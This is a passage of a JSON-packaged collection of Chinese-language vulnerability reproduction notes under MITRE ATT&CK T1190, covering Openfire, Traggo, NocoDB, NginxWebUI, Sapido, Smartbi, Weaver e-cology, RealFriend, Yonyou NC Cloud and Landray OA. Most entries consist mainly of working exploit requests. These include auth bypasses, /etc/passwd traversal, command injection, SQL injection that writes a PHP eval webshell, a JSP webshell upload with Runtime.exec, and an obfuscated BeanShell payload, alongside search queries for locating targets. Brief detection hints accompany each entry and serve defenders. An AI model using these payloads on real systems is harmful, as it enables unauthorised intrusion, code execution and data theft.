参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nCVE-2023-28432\n<https://github.com/vulhub/vulhub/blob/6e9b1c1acd60529384a5751ea9de4dae595259c6/minio/CVE-2023-28432/README.zh-cn.md>\nMinIO信息泄漏分析与复现CVE-2023-28432\n<https://aq.mk/index.php/archives/142.html>\n"
  },
  {
    "path": "Web/2023/CVE-2023-32315/T1190-CVE-2023-32315-Openfire管理后台认证绕过.md",
    "content": "# T1190-CVE-2023-32315-Openfire管理后台认证绕过\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nOpenfire是根据开放源Apache许可获得许可的实时协作（RTC）服务器。\n在Openfire版本4.7.4和4.6.7及以前，Openfire的Web管理后台存在一处目录穿越漏洞，这将允许攻击者绕过权限校验访问所有受限页面。\n空间测绘查询语句：body=\"Openfire\"\n参考链接：\n- <https://www.zhousa.com/archives/24514.html>\n- <https://cn-sec.com/archives/1854597.html>\n- <https://104.149.12.130/index.php/2023/06/16/openfire-history.html#title-6>\n## 检测日志\nHTTP.log\n## 测试复现\n### 漏洞环境\n漏洞环境使用vulhub docker环境\n执行如下命令启动一个4.7.4版本的Openfire:\n```\nyml\ndocker-compose up -d\n```\n服务器启动后，访问`http://your-ip:9090`你将会被强制跳转到登录页面。\n### 漏洞复现\n#### 步骤1，验证漏洞是否存在\n启动openfire服务器后，访问以下路径，验证漏洞是否存在。\n```\nhttp://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp\n```\n成功未授权访问日志文件，证明存在Openfire管理后台认证绕过漏洞\n#### 步骤2，获取JSESSIONID和csrftoken\n访问以下路径，获取获取JSESSIONID和csrftoken\n```\nhttp://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp\nhttp://localhost:9090/login.jsp?url=%2F%2Fsetup%2Fsetup-s%2F%25u002e%25u002e%2F%25u002e%25u002e%2Fuser-groups.jsp\n```\n#### 步骤3，构造数据包创建用户\n构造数据包如下：\n```\nGET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=admin&name=&email=&password=admin&passwordConfirm=admin&isadmin=on&create=Create+User HTTP/1.1\nHost: localhost:9090\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en-US;q=0.9,en;q=0.8\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36\nConnection: close\nCache-Control: max-age=0\nCookie: csrf=csrftoken\n```\n更多利用方法，可参考链接中的内容。\nPOC地址：\n- <https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass>\n这里直接使用脚本进行模拟测试：\n![脚本自动化](1.png)\n## 测试留痕\n![jsessionid](jsessionid.png)\n![csrftoken](csrftoken.png)\n流量包见同目录下pcap文件。\n## 检测规则/思路\n研判分析要点：\n- 结合流量上下文，URL路径和返回信息\n- 关注状态码信息，并非都是200\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\n盘点一下OpenFire的漏洞CVE-2023-32315\n<https://104.149.12.130/index.php/2023/06/16/openfire-history.html#title-6>\n"
  },
  {
    "path": "Web/2023/CVE-2023-34843/T1190-CVE-2023-34843.md",
    "content": "# T1190-CVE-2023-34843-Traggo Server任意文件读取\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nTraggo Server是一个基于标签的时间跟踪工具。CVE-2023-34843中，攻击者可构造恶意请求读取遍历系统上的文件，造成敏感信息泄漏。\n空间测绘语句：title=\"Traggo\"\n参考链接：\n- <https://blog.csdn.net/u010025272/article/details/131551064>\n- <https://github.com/rootd4ddy/CVE-2023-34843>\n## 检测日志\nHTTP.log\n## 测试复现\n重现步骤：\n在服务器上设置traggo服务器。`https://traggo.net/install/`\n向以下URL发出GET请求。 `curl -X GET http://localhost:3030/static/..%5c..%5c..%5c..%5cetc/passwd``\n查看/etc/passwd的内容\n测试过程来自网络，未经实际测试：\n![CVE-2023-34843](CVE-2023-34843.png)\n## 测试留痕\n无，未经实际测试，无留痕文件及PCAP流量包信息。\n## 检测规则/思路\n研判分析要点：\n- 结合流量上下文，URL路径，请求方法\n- 读取文件和文件信息\n"
  },
  {
    "path": "Web/2023/CVE-2023-35843/T1190-CVE-2023-35843.md",
    "content": "# T1190-CVE-2023-35843 NocoDB任意文件读取\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nNocoDB在0.106.0（或 0.109.1）存在路径遍历漏洞，允许未经身份验证的攻击者通过操纵download路由的路径参数来访问服务器上的任意文件。此漏洞可能允许攻击者访问服务器上的敏感文件和数据，包括配置文件、源代码和其他敏感信息。\n影响版本: NocoDB <= 0.106.1\n空间测绘语句：title=\"NocoDB\"\n参考链接：\n- <https://github.com/b3nguang/CVE-2023-35843>\n- <https://blog.csdn.net/m0_46317063/article/details/131450318>\n- <https://www.wevul.com/1701.html>\n## 检测日志\nHTTP.log\n## 测试复现\npaylaod\n```\n/download/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\n```\n测试过程来自网络，未经实际测试：\n![CVE-2023-35843](1.png)\n## 测试留痕\n无，未经实际测试，无留痕文件及PCAP流量包信息。\n## 检测规则/思路\n研判分析要点：\n- 结合流量上下文，URL路径，请求方法\n- 读取文件和文件信息\n"
  },
  {
    "path": "Web/2023/other/NginxWebUI run Cmd远程命令执行.md",
    "content": "# NginxWebUI run Cmd 远程命令执行漏洞---\n## 漏洞描述---\nNginxWebUI是一款图形化管理nginx配置的工具，能通过网页快速配置nginx的各种功能，包括HTTP和TCP协议转发、反向代理、负载均衡、静态HTML服务器以及SSL证书的自动申请、续签和配置，配置完成后可以一键生成nginx.conf文件，并控制nginx使用此文件进行启动和重载。---\nNginxWebUI后台提供执行nginx相关命令的接口，由于未对用户的输入进行过滤，导致可在后台执行任意命令。并且该系统权限校验存在问题，导致存在权限绕过，在前台可直接调用后台接口，最终可以达到无条件远程命令执行的效果。---\n## 影响范围---\nnginxWebUI <= 3.5.0---\n网络空间测绘语法：app=\"nginxWebUI\"---\n## 漏洞利用---\n### 命令执行一---\n```\nGET /AdminPage/conf/runCmd?cmd=calc%26%26nginx HTTP/1.\nHost: 127.0.0.1:8080\nAccept: application/json, text/javascript, */*; q=0.01\nX-Requested-With: XMLHttpRequest\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36\nOrigin: http://127.0.0.1:8080\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: corsSec-Fetch-Dest: empty\nReferer: http://127.0.0.1:8080/adminPage/remote\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nConnection: close---\n```\n- --\n### 命令执行二---\n```\nPOST /AdminPage/remote/cmdOver HTTP/1.1\nHost: 127.0.0.1:8080\nAccept: application/json, text/javascript, */*; q=0.01\nX-Requested-With: XMLHttpRequest\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36\nOrigin: http://127.0.0.1:8080\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://127.0.0.1:8080/adminPage/remote\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 51---\nremoteId=local&cmd=start calc%26%26nginx&interval=1---\n```\n- --\n### 命令执行三---\n```\nPOST /Api/nginx/runNginxCmd HTTP/1.1\nHost: 127.0.0.1:8080\nAccept: application/json, text/javascript, */*; q=0.01\nX-Requested-With: XMLHttpRequest\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36\nOrigin: http://127.0.0.1:8080\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: corsSec-Fetch-Dest: empty\nReferer: http://127.0.0.1:8080/adminPage/remote\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 19---\ncmd=calc%26%26nginx---\n```\n- --\n### 命令执行四---\n```\nGET /AdminPage/conf/reload?nginxExe=calc%20%7C HTTP/1.1\nHost: 127.0.0.1:8080\nAccept: application/json, text/javascript, */*; q=0.01\nX-Requested-With: XMLHttpRequest\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36\nOrigin: http://127.0.0.1:8080\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: corsSec-Fetch-Dest: empty\nReferer: http://127.0.0.1:8080/adminPage/remote\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nConnection: close---\n```\n- --\n### 命令执行五---\n```\nPOST /AdminPage/conf/check HTTP/1.1\nHost: 127.0.0.1:8080\nAccept: application/json, text/javascript, */*; q=0.01\nX-Requested-With: XMLHttpRequest\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36\nOrigin: http://127.0.0.1:8080\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://127.0.0.1:8080/adminPage/remote\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 91---\nnginxExe=calc%20%7C&json={\"nginxContent\":\"\",\"subContent\":\"[]\",\"subName\":\"[]\"}&nginxPath=/1/---\n```\n- --\n## 研判分析---\n关注以下请求方法和路径---\n- GET、'/AdminPage/conf/runCmd?cmd='\n- POST、'/AdminPage/remote/cmdOver'\n- POST、'/Api/nginx/runNginxCmd'\n- GET、'/AdminPage/conf/reload?nginxExe='\n- POST、'/AdminPage/conf/check'\n- POST、'/AdminPage/conf/saveCmd'\n- GET、'/AdminPage/conf/checkBase'\n- POST、'/AdminPage/conf/saveCmd'\n- GET、'/Api/nginx/check'---\n当请求方法为POST时，需要结合body信息进行分析。body中常见的信息中如：\"cmd\"或者\"nginxExe\"等。---\n## 参考链接---\nnginxWebUI runCmd 未授权远程代码执行---\n<http://www.hackdig.com/07/hack-1031358.htm>\n"
  },
  {
    "path": "Web/2023/other/Sapido路由器远程命令执行.md",
    "content": "# Sapido路由器远程命令执行漏洞\n## 漏洞描述\nSapido路由器存在远程命令执行漏洞，攻击者可通过未授权进入命令执行页面，进而可以root权限执行任意命令。\n## 影响范围\n```\nBR270n-v2.1.03\nBRC76n-v2.1.03\nGR297-v2.1.3\nRB1732-v2.0.43\n```\n网络空间测绘语法：app=\"Sapido-路由器\"\n## 漏洞复现\nPOC\n```\nhttp://xxx.xxx.xxx.xxx/syscmd.asp\nhttp://xxx.xxx.xxx.xxx/syscmd.htm\n```\n1. 访问Sapido路由器web登录页面\n2. 访问POC进入命令执行页面 ‘http://xxx.xxx.xxx.xxx:1080/syscmd.htm’\n3. 执行ifconfig、cat /etc/passwd等命令\n![3.1](https://img-blog.csdnimg.cn/20210419144149248.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MTk3NzA0,size_16,color_FFFFFF,t_70)\n## 研判分析\n- 请求方法、请求路径、请求内容\n- 执行命令的返回结果\n## 参考链接\nSapido路由器命令执行漏洞\n<https://blog.csdn.net/qq_36197704/article/details/115864338>\n"
  },
  {
    "path": "Web/2023/other/Smartbi商业智能软件绕过登录.md",
    "content": "# Smartbi商业智能软件绕过登录漏洞\n## 漏洞描述\nSmartbi大数据分析产品融合BI定义的所有阶段，对接各种业务数据库、数据仓库和大数据分析平台，进行加工处理、分析挖掘和可视化展现；满足所有用户的各种数据分析应用需求，如大数据分析、可视化分析、探索式分析、复杂报表、应用分享等等。\nSmartbi在安装时会内置几个用户，在使用特定接口时，可绕过用户身份认证机制获取其身份凭证，随后可使用获取的身份凭证调用后台接口，可能导致敏感信息泄露和代码执行。\n## 影响范围\nV7 <= Smartbi <= V10\n网络空间测绘语法：app=\"SMARTBI\"\n## 漏洞复现\n验证漏洞是否存在：<http://your-ip/smartbi/vision/RMIServlet>\n如果返回信息中包含尚未登录或者会话已超时，则证明存在该漏洞\nPOC\n```\nPOST /smartbi/vision/RMIServlet HTTP/1.1\nHost: your-ip\nContent-Type: application/x-www-form-urlencoded\n- ----------------------------------------------\nclassName=UserService&methodName=loginFromDB&params=[\"system\",\"0a\"]\n```\n请求体中传入的三个参数\nclassName：必须指定UserService类名\nmethodName：该类调用的方法loginFromDB\nparams：其中的第一个参数是内置的三个用户名（public、service、system）可随机构造，第二个参数是三个账号默认的密文密码(默认值为0a)\n## 研判分析\n总体上来说该漏洞研判起来较为简单。\n- 请求方法和请求路径，'POST'、'/smartbi/vision/RMIServlet'\n- 请求内容，className，public，service，system，0a\n- 响应状态码200，响应内容\"result:true\"\n## 参考链接\nSmartbi内置用户登陆绕过漏洞复现\n<https://blog.csdn.net/qq_41904294/article/details/131293172>\n"
  },
  {
    "path": "Web/2023/other/泛微e-cology前台任意用户登录.md",
    "content": "# 泛微e-cology前台任意用户登录漏洞\n## 漏洞描述\n泛微新一代移动办公平台e-cology8.0不仅组织提供了一体化的协同工作平台,将组织事务逐渐实现全程电子化,改变传统纸质文件、实体签章的方式。泛微OA E-Cology v8.0平台ofsLogin.jsp处存在任意用户登录漏洞，攻击者通过漏洞可以登录网站后台。\n## 影响范围\n网络空间测绘：app=\"泛微-协同商务系统\"\n## 漏洞复现\n直接使用POC登录\n```\nhttp://x.x.x.x/mobile/plugin/1/ofsLogin.jsp?gopage=/wui/index.html&loginTokenFromThird=866fb3887a60239fc112354ee7ffc168&receiver=1&syscode=1&timestamp\n```\n## 研判分析\n关注请求路径'mobile/plugin/1/ofsLogin.jsp?syscode='及响应状态码信息。\n## 参考链接\n泛微ecology9 ofsLogin.jsp信息泄露与前台任意用户登录漏洞分析\n<https://zhuanlan.zhihu.com/p/631500509>\n漏洞复现:泛微e-cology ofsLogin.jsp任意用户登录漏洞\n<https://f5.pm/go-163903.html>\nWeaver_ofslogin_vul\n<https://github.com/A0WaQ4/Weaver_ofslogin_vul/tree/main>\n泛微e-cology9 changeUserInfo信息泄漏及ofsLogin任意用户登录漏洞分析\n<https://0xf4n9x.github.io/weaver-ecology9-changeuserinfo-ofslogin.html>\n"
  },
  {
    "path": "Web/2023/other/瑞友天翼应用虚拟化系统存在远程代码执行.md",
    "content": "# 瑞友天翼应用虚拟化系统存在远程代码执行\n## 漏洞介绍\n瑞友天翼应用虚拟化系统是西安瑞友信息技术资讯有限公司研发的具有自主知识产权，基于服务器计算架构的应用虚拟化平台。它将用户各种应用软件集中部署在瑞友天翼服务器(群)上，客户端通过WEB即可快速安全的访问经服务器上授权的应用软件，实现集中应用、远程接入、协同办公等，从而为用户打造集中、便捷、安全、高效的虚拟化支撑平台。\n瑞友天翼应用虚拟化系统存在远程代码执行漏洞，未经身份认证的远程攻击者可以利用该漏洞在目标系统上执行任意代码（该漏洞是通过SQL注入写入后门文件进行代码执行）。\n## 影响版本\n5.x <= 瑞友天翼应用虚拟化系统 <= 7.0.2.1\n## 漏洞利用\nPoc\n```\npython\nimport requests\nimport sys\n- ---------\nurl = sys.argv[1]\npayload=\"/AgentBoard.XGI?user=-1%27+union+select+1%2C%27%3C%3Fphp+phpinfo%28%29%3B%3F%3E%27+into+outfile+%22C%3A%5C%5CProgram%5C+Files%5C+%5C%28x86%5C%29%5C%5CRealFriend%5C%5CRap%5C+Server%5C%5CWebRoot%5C%5C1.php%22+--+-&cmd=UserLogin\"\nrepose = requests.get(url=url+payload)\nif repose.status_code ==200:\n    a = url + '1.php'\n    b = requests.get(url=a)\n    if b.status_code == 200:\n        print('[+] 漏洞存在，验证地址: {}1.php '.format(url))\n```\n通过sql注入写入php文件，内容是phpinfo()(只对默认安装路径起作用，请根据环境自行修改payload中的路径)。\n利用burp进行测试：\n```\nyml\nGET /AgentBoard.XGI?user=-1%27+union+select+1%2C%27%3C%3Fphp+phpinfo%28%29%3B%3F%3E%27+into+outfile+%22C%3A%5C%5CProgram%5C+Files%5C+%5C%28x86%5C%29%5C%5CRealFriend%5C%5CRap%5C+Server%5C%5CWebRoot%5C%5C2.php%22+--+-&cmd=UserLogin HTTP/1.1\nHost: 192.168.189.129\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nConnection: close\nCookie: CookieLanguageName=ZH-CN; CookieAuthType=0\nUpgrade-Insecure-Requests: 1\n```\n然后访问`http://192.168.189.129/2.php`即可\n尝试写入php一句话马子,需要对特殊符号进行url编码（经测试，漏洞环境过滤了单引号，需采用双引号或者使用hex编码bypass）\n```\nyml\nGET /AgentBoard.XGI?user=-1%27+union+select+1%2C%27%3c%3fphp+eval%28%24%5fPOST%5b%22cmd%22%5d%29%3b%3f%3e%27+into+outfile+%22C%3A%5C%5CProgram%5C+Files%5C+%5C%28x86%5C%29%5C%5CRealFriend%5C%5CRap%5C+Server%5C%5CWebRoot%5C%5C5.php%22+--+-&cmd=UserLogin HTTP/1.1\nHost: 192.168.189.129\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nConnection: close\nCookie: CookieLanguageName=ZH-CN; CookieAuthType=0\nUpgrade-Insecure-Requests: 1\n```\n## 研判分析\n- 请求方法：GET\n- 请求路径包含：'/AgentBoard.XGI?user'、'into+outfile'\n- 请求路径中部分编码数据需要解码后再进行分析\n- 响应状态码：200\n- 可根据解码内容中的shell文件，排查web服务目录下是否存在恶意文件\n## 参考链接\n瑞友天翼应用虚拟化系统RCE漏洞复现+利用\n<https://blog.csdn.net/qq_41904294/article/details/130231497?ydreferer=aHR0cHM6Ly93d3cuYmluZy5jb20v>\n"
  },
  {
    "path": "Web/2023/other/用友NC Cloud存在前台远程命令执行.md",
    "content": "# 用友NC Cloud存在前台远程命令执行漏洞\n## 漏洞描述\n用友NC及NC Cloud系统存在任意文件上传漏洞，攻击者可通过uapjs（jsinvoke）应用构造恶意请求非法上传后门程序，此漏洞可以给NC服务器预埋后门，从而可以随意操作服务器。\n## 影响范围\n- NC63、NC633、NC65\n- NC Cloud1903、NC Cloud1909\n- NC Cloud2005、NC Cloud2105、NC Cloud2111\n- YonBIP 高级版 2207\n网络空间测绘语法：app=\"用友-NC-Cloud\"\n## 漏洞复现\npoc：上传823780482.jsp的webshell\n```\nPOST /uapjs/jsinvoke/?action=invoke HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)\nAccept: */*\nConnection: Keep-Alive\nContent-Length: 253\nContent-Type: application/x-www-form-urlencoded\n- ----------------------------------------------\n{\"serviceName\":\"nc.itf.iufo.IBaseSPService\",\"methodName\":\"saveXStreamConfig\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"],\"parameters\":[\"${param.getClass().forName(param.error).newInstance().eval(param.cmd)}\",\"webapps/nc_web/823780482.jsp\"]}\n```\npoc：执行ipconfig命令\n```\nPOST /823780482.jsp?error=bsh.Interpreter HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\nAccept-Encoding: gzip, deflate\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nConnection: close\nHost: 127.0.0.1\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nAccept-Language: zh-CN,zh;q=0.9\nCookie: cookiets=1681785470496; JSESSIONID=33989F450B1EA57D4D3ED07A343770FF.server\nIf-None-Match: W/\"1571-1589211696000\"\nIf-Modified-Since: Mon, 11 May 2020 15:41:36 GMT\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 98\n- ----------------------------------------------\ncmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec(\"ipconfig\").getInputStream())\n```\n## 分析研判\n分析主要从请求方法、请求URL路径、请求内容及返回内容方面进行。\n- POST请求方法\n- 请求路径\"/uapjs/jsinvoke?action=invoke\"\n- 请求内容\"getRuntime().exec\"、\"saveXStreamConfig\"\n- 结合响应状态码200、内容body信息\n## 参考链接\n用友NC Cloud存在前台远程命令执行漏洞 附POC软件\n<https://blog.csdn.net/nnn2188185/article/details/131894129>\n用友NC uapjs RCE漏洞\n<https://cn-sec.com/archives/1894623.html>\n"
  },
  {
    "path": "Web/2023/other/蓝凌oa远程代码执行.md",
    "content": "# 蓝凌oa远程代码执行漏洞\n## 漏洞描述\n蓝凌OA sysSearchMain.do文件存在任意文件写入漏洞，攻击者获取后台权 限后可通过漏洞写入任意文件，也可以通过custom.jsp文件未授权写入恶意文件。\n## 影响范围\n未知\n## 漏洞复现\n### 蓝凌OA custom.jsp任意文件读取\n```\nPOST /sys/ui/extend/varkind/custom.jsp HTTP/1.1\nHost:\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15\nContent-Length: 42\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding: gzip\nvar={\"body\":{\"file\":\"file:///etc/passwd\"}}\n```\n![custom.jsp任意文件读取](https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/images/202202090128987.png?raw=true)\n### 蓝凌OA sysSearchMain.do远程命令执行\n```\nPOST /sys/ui/extend/varkind/custom.jsp HTTP/1.1\nHost:\nUser-Agent: Go-http-client/1.1\nContent-Length: 17574\nCmd: dir\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding: gzip\nvar={\"body\":{\"file\":\"/sys/search/sys_search_main/sysSearchMain.do?method=editParam\"}}&fdParemNames=11&fdParameters=<java><void class=\"bsh.Interpreter\"><void%20method=%22eval%22><string>\\u0020\\u0020\\u0020\\u0020\\u0062\\u006f\\u006f\\u006c\\u0065\\u0061\\u006e\\u0020\\u0066\\u006c\\u0061\\u0067\\u0020\\u003d\\u0020\\u0066\\u0061\\u006c\\u0073\\u0065\\u003b\\u0054\\u0068\\u0072\\u0065\\u0061\\u0064\\u0047\\u0072\\u006f\\u0075\\u0070\\u0020\\u0067\\u0072\\u006f\\u0075\\u0070\\u0020\\u003d\\u0020\\u0054\\u0068\\u0072\\u0065\\u0061\\u0064\\u002e\\u0063\\u0075\\u0072\\u0072\\u0065\\u006e\\u0074\\u0054\\u0068\\u0072\\u0065\\u0061\\u0064\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u0054\\u0068\\u0072\\u0065\\u0061\\u0064\\u0047\\u0072\\u006f\\u0075\\u0070\\u0028\\u0029\\u003b\\u006a\\u0061\\u0076\\u0061\\u002e\\u006c\\u0061\\u006e\\u0067\\u002e\\u0072\\u0065\\u0066\\u006c\\u0065\\u0063\\u0074\\u002e\\u0046\\u0069\\u0065\\u006c\\u0064\\u0020\\u0066\\u0020\\u003d\\u0020\\u0067\\u0072\\u006f\\u0075\\u0070\\u002e\\u0067\\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u0044\\u0065\\u0063\\u006c\\u0061\\u0072\\u0065\\u0064\\u0046\\u0069\\u0065\\u006c\\u0064\\u0028\\u0022\\u0074\\u0068\\u0072\\u0065\\u0061\\u0064\\u0073\\u0022\\u0029\\u003b\\u0066\\u002e\\u0073\\u0065\\u0074\\u0041\\u0063\\u0063\\u0065\\u0073\\u0073\\u0069\\u0062\\u006c\\u0065\\u0028\\u0074\\u0072\\u0075\\u0065\\u0029\\u003b\\u0054\\u0068\\u0072\\u0065\\u0061\\u0064\\u005b\\u005d\\u0020\\u0074\\u0068\\u0072\\u0065\\u0061\\u0064\\u0073\\u0020\\u003d\\u0020\\u0028\\u0054\\u0068\\u0072\\u0065\\u0061\\u0064\\u005b\\u005d\\u0029\\u0020\\u0066\\u002e\\u0067\\u0065\\u0074\\u0028\\u0067\\u0072\\u006f\\u0075\\u0070\\u0029\\u003b\\u0066\\u006f\\u0072\\u0020\\u0028\\u0069\\u006e\\u0074\\u0020\\u0069\\u0020\\u003d\\u0020\\u0030\\u003b\\u0020\\u0069\\u0020\\u003c\\u0020\\u0074\\u0068\\u0072\\u0065\\u0061\\u0064\\u0073\\u002e\\u006c\\u0065\\u006e\\u0067\\u0074\\u0068\\u003b\\u0020\\u0069\\u002b\\u002b\\u0029\\u0020\\u007b\\u0020\\u0074\\u0072\\u0079\\u0020\\u007b\\u0020\\u0054\\u0068\\u0072\\u0065\\u0061\\u0064\\u0020\\u0074\\u0020\\u003d\\u0020\\u0074\\u0068\\u0072\\u0065\\u0061\\u0064\\u0073\\u005b\\u0069\\u005d\\u003b\\u0069\\u0066\\u0020\\u0028\\u0074\\u0020\\u003d\\u003d\\u0020\\u006e\\u0075\\u006c\\u006c\\u0029\\u0020\\u007b\\u0020\\u0063\\u006f\\u006e\\u0074\\u0069\\u006e\\u0075\\u0065\\u003b\\u0020\\u007d\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u0020\\u0073\\u0074\\u0072\\u0020\\u003d\\u0020\\u0074\\u002e\\u0067\\u0065\\u0074\\u004e\\u0061\\u006d\\u0065\\u0028\\u0029\\u003b\\u0069\\u0066\\u0020\\u0028\\u0073\\u0074\\u0072\\u002e\\u0063\\u006f\\u006e\\u0074\\u0061\\u0069\\u006e\\u0073\\u0028\\u0022\\u0065\\u0078\\u0065\\u0063\\u0022\\u0029\\u0020\\u007c\\u007c\\u0020\\u0021\\u0073\\u0074\\u0072\\u002e\\u0063\\u006f\\u006e\\u0074\\u0061\\u0069\\u006e\\u0073\\u0028\\u0022\\u0068\\u0074\\u0074\\u0070\\u0022\\u0029\\u0029\\u0020\\u007b\\u0020\\u0063\\u006f\\u006e\\u0074\\u0069\\u006e\\u0075\\u0065\\u003b\\u0020\\u007d\\u0066\\u0020\\u003d\\u0020\\u0074\\u002e\\u0067\\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u0044\\u0065\\u0063\\u006c\\u0061\\u0072\\u0065\\u0064\\u0046\\u0069\\u0065\\u006c\\u0064\\u0028\\u0022\\u0074\\u0061\\u0072\\u0067\\u0065\\u0074\\u0022\\u0029\\u003b\\u0066\\u002e\\u0073\\u0065\\u0074\\u0041\\u0063\\u0063\\u0065\\u0073\\u0073\\u0069\\u0062\\u006c\\u0065\\u0028\\u0074\\u0072\\u0075\\u0065\\u0029\\u003b\\u004f\\u0062\\u006a\\u0065\\u0063\\u0074\\u0020\\u006f\\u0062\\u006a\\u0020\\u003d\\u0020\\u0066\\u002e\\u0067\\u0065\\u0074\\u0028\\u0074\\u0029\\u003b\\u0069\\u0066\\u0020\\u0028\\u0021\\u0028\\u006f\\u0062\\u006a\\u0020\\u0069\\u006e\\